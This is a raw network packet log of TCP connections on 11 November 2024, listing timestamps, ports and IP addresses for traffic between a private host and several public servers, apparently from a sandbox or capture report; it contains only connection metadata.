Nov 11, 2024 19:17:56.022243023 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.024564981 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.024585009 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.024630070 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.024663925 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.025190115 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.025233984 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.048506975 CET	49891	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.048543930 CET	443	49891	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.048971891 CET	49892	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.049000978 CET	443	49892	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.050146103 CET	49893	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.050160885 CET	443	49893	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.054052114 CET	49890	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.054095984 CET	443	49890	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.185930967 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.186757088 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.186770916 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.187062979 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.196078062 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.196178913 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.196543932 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.218981981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:56.219022036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:56.224018097 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:56.224052906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:56.228200912 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.229264975 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.229286909 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.229804039 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.229809999 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.239345074 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.267600060 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.268488884 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.268516064 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.269073963 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.269078970 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.277894974 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.277997017 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.278384924 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.278403997 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.278819084 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.278834105 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.278904915 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.278945923 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.279424906 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.279429913 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.279825926 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.281270981 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.281310081 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.281685114 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.281691074 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.323215008 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.323288918 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.323354006 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.323836088 CET	49901	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.323859930 CET	443	49901	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.326694012 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.326738119 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.326833010 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.326996088 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.327007055 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.361711025 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.361814022 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.361886978 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.366633892 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.366635084 CET	49902	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.366658926 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.366674900 CET	443	49902	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.370822906 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.370858908 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.370923042 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.372441053 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.372469902 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.372523069 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.372529984 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.372565031 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.374430895 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.374492884 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.374584913 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.374701023 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.374771118 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.374804020 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.376764059 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.376780033 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.376979113 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.376998901 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.377013922 CET	49905	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.377019882 CET	443	49905	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.383316040 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.383317947 CET	49903	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.383327961 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.383337021 CET	443	49903	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.383481979 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.383502007 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.383512020 CET	49904	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.383517027 CET	443	49904	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.388407946 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.388437986 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.388535023 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.389308929 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.389322996 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.393604040 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.393620968 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.393739939 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.393754959 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.393779039 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.393835068 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.393958092 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.393971920 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.394149065 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.394154072 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.525331020 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.531507969 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.531533957 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.532037973 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.532737970 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.532814980 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.532979012 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.579336882 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.622711897 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.622741938 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.622802973 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.622814894 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.622885942 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.628418922 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.628830910 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.628906965 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.637237072 CET	49906	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.637255907 CET	443	49906	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.643018007 CET	49900	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:56.643054008 CET	443	49900	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:56.754153013 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:56.754228115 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:56.754300117 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:56.754321098 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:56.754359007 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:56.754395962 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:56.754415989 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:56.754478931 CET	443	49869	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:56.754487991 CET	49870	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:56.754527092 CET	49869	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:56.754568100 CET	49868	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:56.754570007 CET	443	49870	23.33.40.145	192.168.2.7
Nov 11, 2024 19:17:56.754602909 CET	49871	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:56.754616022 CET	49870	443	192.168.2.7	23.33.40.145
Nov 11, 2024 19:17:56.754636049 CET	443	49868	204.79.197.219	192.168.2.7
Nov 11, 2024 19:17:56.754678011 CET	443	49871	204.79.197.219	192.168.2.7
Nov 11, 2024 19:17:56.754686117 CET	49868	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:56.754733086 CET	49871	443	192.168.2.7	204.79.197.219
Nov 11, 2024 19:17:56.755251884 CET	49888	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:56.755335093 CET	443	49888	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:56.755400896 CET	49888	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:56.755655050 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:56.755691051 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:56.755707979 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:56.755742073 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:56.755825996 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:56.755831957 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:56.842236042 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.843266010 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.843281031 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.843863964 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.843868017 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.891148090 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.892824888 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.892842054 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.893522978 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.893527985 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.914087057 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.914585114 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.914957047 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.914988995 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.915621042 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.915626049 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.915994883 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.920176029 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.920192003 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.921120882 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.921127081 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.925793886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:56.925968885 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:56.934580088 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.934603930 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.935142040 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.935147047 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.935971022 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.936037064 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.936096907 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.938119888 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.938133001 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.938143969 CET	49907	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.938150883 CET	443	49907	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.987591982 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.987622976 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.987682104 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.987690926 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.987762928 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.990447044 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.990485907 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.990648031 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.991020918 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.991040945 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.991103888 CET	49908	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.991111994 CET	443	49908	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.993486881 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.993499994 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.995217085 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.995254040 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:56.995392084 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.995665073 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:56.995676041 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.008227110 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.008297920 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.008368015 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.008764982 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.008784056 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.008824110 CET	49909	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.008831024 CET	443	49909	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.012882948 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.012938976 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.013186932 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.013932943 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.013950109 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.014010906 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.014250994 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.014256001 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.019013882 CET	49911	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.019022942 CET	443	49911	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.023667097 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.023705006 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.024101973 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.024645090 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.024656057 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.025995970 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.026073933 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.026173115 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.026357889 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.026357889 CET	49910	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.026380062 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.026387930 CET	443	49910	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.038302898 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.038335085 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.038549900 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.039323092 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.039336920 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.057102919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.062067986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.259264946 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.259288073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.259299040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.259350061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.259361982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.259412050 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.262800932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.267992020 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.465250015 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.465359926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.482686043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:57.487668037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:57.537431955 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.538229942 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.538261890 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.539010048 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.539019108 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.540249109 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.540657043 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.540694952 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.541115046 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.541122913 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.551727057 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.552773952 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.554527044 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.554543018 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.555490017 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.555495977 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.556082010 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.556108952 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.556567907 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.556572914 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.564055920 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.567476988 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.567512035 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.568238974 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.568244934 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.631759882 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.631802082 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.631859064 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.631867886 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.631917000 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.632313967 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.632332087 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.632349968 CET	49912	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.632354975 CET	443	49912	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.633497953 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.633565903 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.633610964 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.634057999 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.634078026 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.634088993 CET	49913	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.634094000 CET	443	49913	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.637892008 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.637938976 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.637989044 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.638021946 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.638039112 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.638088942 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.638222933 CET	49919	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.638237000 CET	443	49919	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.638411999 CET	49920	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.638423920 CET	443	49920	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.644778013 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.644829035 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.645042896 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.645138025 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.645147085 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.645157099 CET	49914	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.645162106 CET	443	49914	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.648298979 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.648336887 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.648807049 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.648952961 CET	49921	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.648967981 CET	443	49921	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.651566982 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.652664900 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.652717113 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.652756929 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.652765036 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.652781963 CET	49915	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.652786970 CET	443	49915	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.655303955 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.655319929 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.655448914 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.655642033 CET	49922	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.655652046 CET	443	49922	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.656816006 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.657147884 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.657193899 CET	49916	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:57.657203913 CET	443	49916	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:57.657295942 CET	49916	443	192.168.2.7	13.107.246.45
